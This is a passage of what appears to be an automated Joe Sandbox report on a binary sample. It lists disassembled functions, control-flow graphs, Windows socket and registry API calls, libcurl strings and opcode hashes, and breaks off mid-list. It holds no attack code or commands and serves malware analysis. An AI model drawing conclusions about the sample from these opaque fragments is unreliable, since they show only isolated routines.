                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos
                                            • API String ID: 3677997916-615551945
                                            • Opcode ID: aa7532985984f9c4d1bce2474f46919eac9c98dc2687c60a7512b38eb74fca33
                                            • Instruction ID: 749948cb01886a5989f8dbefffdfd8a2ebe66c3372554d76fd77b23090a21b45
                                            • Opcode Fuzzy Hash: aa7532985984f9c4d1bce2474f46919eac9c98dc2687c60a7512b38eb74fca33
                                            • Instruction Fuzzy Hash: 7C32BBF5904201ABEF11AB26EC42A1B7A94AF55318F08483EFC0996363F739ED15C75B
                                            Function 00408B50 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 269networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1379 408b50-408b69 1380 408be6 1379->1380 1381 408b6b-408b74 1379->1381 1382 408be9 1380->1382 1383 408b76-408b8d 1381->1383 1384 408beb-408bf2 1381->1384 1382->1384 1385 408bf3-408bfe call 40a550 1383->1385 1386 408b8f-408ba7 call 3e6e40 1383->1386 1393 408de4-408def 1385->1393 1394 408c04-408c08 1385->1394 1391 408cd9-408d16 SleepEx 1386->1391 1392 408bad-408baf 1386->1392 1415 408d22 1391->1415 1416 408d18-408d20 1391->1416 1397 408bb5-408bb9 1392->1397 1398 408ca6-408cb0 1392->1398 1395 408df5-408e19 call 40a150 1393->1395 1396 408e8c-408e95 1393->1396 1399 408dbd-408dc3 1394->1399 1400 408c0e-408c1d 1394->1400 1435 408e88 1395->1435 1436 408e1b-408e26 1395->1436 1407 408f00-408f06 1396->1407 1408 408e97-408e9c 1396->1408 1397->1384 1405 408bbb-408bc2 1397->1405 1398->1391 1403 408cb2-408cb8 1398->1403 1399->1382 1401 408c35-408c48 call 40a150 1400->1401 1402 408c1f-408c30 connect 1400->1402 1434 408c4d-408c4f 1401->1434 1402->1401 1411 408ddc-408dde 1403->1411 1412 408cbe-408cd4 call 40b180 1403->1412 1405->1384 1414 408bc4-408bcc 1405->1414 1407->1384 1409 408e9e-408eb6 call 3e2a00 1408->1409 1410 408edf-408eef call 3d78b0 1408->1410 1409->1410 1433 408eb8-408edd call 3e3410 * 2 1409->1433 1438 408ef2-408efc 1410->1438 1411->1382 1411->1393 1412->1393 1420 408bd4-408bda 1414->1420 1421 408bce-408bd2 1414->1421 1423 408d26-408d39 1415->1423 1416->1423 1420->1384 1428 408bdc-408be1 1420->1428 1421->1384 1421->1420 1431 408d43-408d61 call 3ed8c0 call 40a150 1423->1431 1432 408d3b-408d3d 1423->1432 1437 408dac-408db8 call 4150a0 1428->1437 1454 408d66-408d74 1431->1454 1432->1411 1432->1431 1433->1438 1442 408c51-408c58 1434->1442 1443 408c8e-408c93 1434->1443 1435->1396 1444 408e28-408e2c 1436->1444 1445 408e2e-408e85 call 3ed090 call 414fd0 1436->1445 1437->1384 1438->1407 1442->1443 1449 408c5a-408c62 1442->1449 1452 408dc8-408dd9 call 40b100 1443->1452 1453 408c99-408c9f 1443->1453 1444->1435 1444->1445 1445->1435 1455 408c64-408c68 1449->1455 1456 408c6a-408c70 1449->1456 1452->1411 1453->1398 1454->1384 1459 408d7a-408d81 1454->1459 1455->1443 1455->1456 1456->1443 1461 408c72-408c8b call 4150a0 1456->1461 1459->1384 1464 408d87-408d8f 1459->1464 1461->1443 1468 408d91-408d95 1464->1468 1469 408d9b-408da1 1464->1469 1468->1384 1468->1469 1469->1384 1472 408da7 1469->1472 1472->1437
                                            APIs
                                            • connect.WS2_32(?,?,00000001), ref: 00408C30
                                            • SleepEx.KERNELBASE(00000000,00000000), ref: 00408CF3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: Sleepconnect
                                            • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                            • API String ID: 238548546-879669977
                                            • Opcode ID: 24fbf166e8f4a465528c1d34bdee1290fdcb1fa78a1dbdd05b1f96763f331fc4
                                            • Instruction ID: 0261dbe7ba5d34d9dd2bceec314b95889b035fd6cf44b5f8a52af2880030a636
                                            • Opcode Fuzzy Hash: 24fbf166e8f4a465528c1d34bdee1290fdcb1fa78a1dbdd05b1f96763f331fc4
                                            • Instruction Fuzzy Hash: 39B1A0706043059FE710CF24CA85BA777A0AF55318F04863EF899AB3D2DB78E855C766
                                            Function 003D2F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1473 3d2f17-3d2f8c call 886430 call 886820 1478 3d31c9-3d31cd 1473->1478 1479 3d2f91-3d2ff4 call 3d1619 RegOpenKeyExA 1478->1479 1480 3d31d3-3d31d6 1478->1480 1483 3d2ffa-3d300b 1479->1483 1484 3d31c5 1479->1484 1485 3d315c-3d31ac RegEnumKeyExA 1483->1485 1484->1478 1486 3d3010-3d3083 call 3d1619 RegOpenKeyExA 1485->1486 1487 3d31b2-3d31c2 1485->1487 1491 3d314e-3d3152 1486->1491 1492 3d3089-3d30d4 RegQueryValueExA 1486->1492 1487->1484 1491->1485 1493 3d313b-3d314b RegCloseKey 1492->1493 1494 3d30d6-3d3137 call 886700 call 886790 call 886820 call 886630 call 886820 call 884b90 1492->1494 1493->1491 1494->1493
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: EnumOpen
                                            • String ID: d
                                            • API String ID: 3231578192-2564639436
                                            • Opcode ID: 35c662e115cbfde27019bc1c78a2a740976640324ed2b536d1cc19cd46f55870
                                            • Instruction ID: 53f1e3bcab1da818ea582ada3d8ec5df35e3151e0058c142fa851df14c8183c6
                                            • Opcode Fuzzy Hash: 35c662e115cbfde27019bc1c78a2a740976640324ed2b536d1cc19cd46f55870
                                            • Instruction Fuzzy Hash: CB71B8B49043199FDB10EF69D58479EBBF0FF84308F11896DE59897301E7749A888F92
                                            Function 003D76A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 73networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1507 3d76a0-3d76be 1508 3d76e6-3d76f2 send 1507->1508 1509 3d76c0-3d76c7 1507->1509 1510 3d775e-3d7762 1508->1510 1511 3d76f4-3d7709 call 3d72a0 1508->1511 1509->1508 1512 3d76c9-3d76d1 1509->1512 1511->1510 1514 3d770b-3d7759 call 3d72a0 call 3dcb20 call 758c50 1512->1514 1515 3d76d3-3d76e4 1512->1515 1514->1510 1515->1511
                                            APIs
                                            • send.WS2_32(multi.c,?,?,?,N==,00000000,?,?,003E07BF), ref: 003D76EB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: send
                                            • String ID: LIMIT %s:%d %s reached memlimit$N==$SEND %s:%d send(%lu) = %ld$multi.c$send
                                            • API String ID: 2809346765-3656297102
                                            • Opcode ID: 994a6cafd04cff83577d4029b9c4f51b41b1ad602e1ea280bdb7ca74addfd0d5
                                            • Instruction ID: 434173c307c3ec0713fd177fc5db91754a591a65836e49ee51916fe1a58e0d7f
                                            • Opcode Fuzzy Hash: 994a6cafd04cff83577d4029b9c4f51b41b1ad602e1ea280bdb7ca74addfd0d5
                                            • Instruction Fuzzy Hash: 7C1104B252D3446BD111D798AC46D277B6CDBC1B6CF060909B80826341F6629C04C1B2
                                            Function 00409290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1626 409290-4092ed call 3d76a0 1629 4093c3-4093ce 1626->1629 1630 4092f3-4092fb 1626->1630 1639 4093d0-4093e1 1629->1639 1640 4093e5-409427 call 3ed090 call 414f40 1629->1640 1631 409301-409333 call 3ed8c0 call 3ed9a0 1630->1631 1632 4093aa-4093af 1630->1632 1650 409335-409364 WSAIoctl 1631->1650 1651 4093a7 1631->1651 1633 4093b5-4093bc 1632->1633 1634 409456-409470 1632->1634 1637 409429-409431 1633->1637 1638 4093be 1633->1638 1644 409433-409437 1637->1644 1645 409439-40943f 1637->1645 1638->1634 1639->1633 1646 4093e3 1639->1646 1640->1634 1640->1637 1644->1634 1644->1645 1645->1634 1649 409441-409453 call 4150a0 1645->1649 1646->1634 1649->1634 1654 409366-40936f 1650->1654 1655 40939b-4093a4 1650->1655 1651->1632 1654->1655 1658 409371-409390 setsockopt 1654->1658 1655->1651 1658->1655 1659 409392-409395 1658->1659 1659->1655
                                            APIs
                                            • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 0040935D
                                            • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00409389
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: Ioctlsetsockopt
                                            • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                            • API String ID: 1903391676-2691795271
                                            • Opcode ID: d302798bc16609c08a8b9cb8c105c0067eb017d9490fe44ac1b9e10203282f98
                                            • Instruction ID: d3e82ac65a98bcd2e16653036de50e86b188b383151cdf72d057f6be899050af
                                            • Opcode Fuzzy Hash: d302798bc16609c08a8b9cb8c105c0067eb017d9490fe44ac1b9e10203282f98
                                            • Instruction Fuzzy Hash: E7519F71604305ABD711DF24C881BAAB7A5FF88314F14852AFD489B3C2E774E991CB95
                                            Function 003D7770 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1660 3d7770-3d778e 1661 3d77b6-3d77c2 recv 1660->1661 1662 3d7790-3d7797 1660->1662 1663 3d782e-3d7832 1661->1663 1664 3d77c4-3d77d9 call 3d72a0 1661->1664 1662->1661 1665 3d7799-3d77a1 1662->1665 1664->1663 1667 3d77db-3d7829 call 3d72a0 call 3dcb20 call 758c50 1665->1667 1668 3d77a3-3d77b4 1665->1668 1667->1663 1668->1664
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: recv
                                            • String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
                                            • API String ID: 1507349165-640788491
                                            • Opcode ID: 4402c612eba8fe281c6aee6febfc8bbd42854ba63dee5ae9102451a5da221db6
                                            • Instruction ID: 8bc3a3a4df46ea81a14b60eab18322fd97038f99b4c5f31aa2fc2c3c3758149d
                                            • Opcode Fuzzy Hash: 4402c612eba8fe281c6aee6febfc8bbd42854ba63dee5ae9102451a5da221db6
                                            • Instruction Fuzzy Hash: 5E1127B6A183447BD111DB54BC5BE377B6CEBC6B68F461919B80816381E6629C04C1F2
                                            Function 003D75E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1679 3d75e0-3d75ed 1680 3d75ef-3d75f6 1679->1680 1681 3d7607-3d7629 socket 1679->1681 1680->1681 1684 3d75f8-3d75ff 1680->1684 1682 3d763f-3d7642 1681->1682 1683 3d762b-3d763c call 3d72a0 1681->1683 1683->1682 1686 3d7601-3d7602 1684->1686 1687 3d7643-3d7699 call 3d72a0 call 3dcb20 call 758c50 1684->1687 1686->1681
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: socket
                                            • String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
                                            • API String ID: 98920635-842387772
                                            • Opcode ID: d30dfe2a3f50262bab8de193f155b7b14812127e4e2f06dbe9312297cdced34b
                                            • Instruction ID: e7c5ba0ea134d45e089518501a0c6bf82a3c3a7b68ada63530ae9025f28cc19f
                                            • Opcode Fuzzy Hash: d30dfe2a3f50262bab8de193f155b7b14812127e4e2f06dbe9312297cdced34b
                                            • Instruction Fuzzy Hash: 6C115973A1865127DA1297A8AC07E9B7B98DBC1B28F061515F8149A3E1E352CC55C2E1
                                            Function 0040A150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1788 40a150-40a159 1789 40a250 1788->1789 1790 40a15f-40a17b 1788->1790 1791 40a181-40a1ce getsockname 1790->1791 1792 40a249-40a24f 1790->1792 1793 40a1d0-40a1f5 call 3ed090 1791->1793 1794 40a1f7-40a214 call 40ef30 1791->1794 1792->1789 1801 40a240-40a246 call 414f40 1793->1801 1794->1792 1799 40a216-40a23b call 3ed090 1794->1799 1799->1801 1801->1792
                                            APIs
                                            • getsockname.WS2_32(?,?,00000080), ref: 0040A1C7
                                            Strings
                                            • ssloc inet_ntop() failed with errno %d: %s, xrefs: 0040A23B
                                            • getsockname() failed with errno %d: %s, xrefs: 0040A1F0
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: getsockname
                                            • String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
                                            • API String ID: 3358416759-2605427207
                                            • Opcode ID: 35490f7cab583df69ef88731a057b59b3fdb05bf7085cd6517041ffbc37b79a4
                                            • Instruction ID: 9fe4dbdade300f0e50ed99859368c96104d5e3ff58798947d073e9e5156d755c
                                            • Opcode Fuzzy Hash: 35490f7cab583df69ef88731a057b59b3fdb05bf7085cd6517041ffbc37b79a4
                                            • Instruction Fuzzy Hash: 1F21DB71808380AAF7259729DC42FE773ACEFD1328F040665F99853291FA32599687E6
                                            Function 003ED5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1808 3ed5e0-3ed5ee 1809 3ed652-3ed662 WSAStartup 1808->1809 1810 3ed5f0-3ed604 call 3ed690 1808->1810 1812 3ed664-3ed66f 1809->1812 1813 3ed670-3ed676 1809->1813 1816 3ed61b-3ed651 call 3f7620 1810->1816 1817 3ed606-3ed614 1810->1817 1813->1810 1814 3ed67c-3ed68d 1813->1814 1817->1816 1822 3ed616 1817->1822 1822->1816
                                            APIs
                                            • WSAStartup.WS2_32(00000202), ref: 003ED65B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
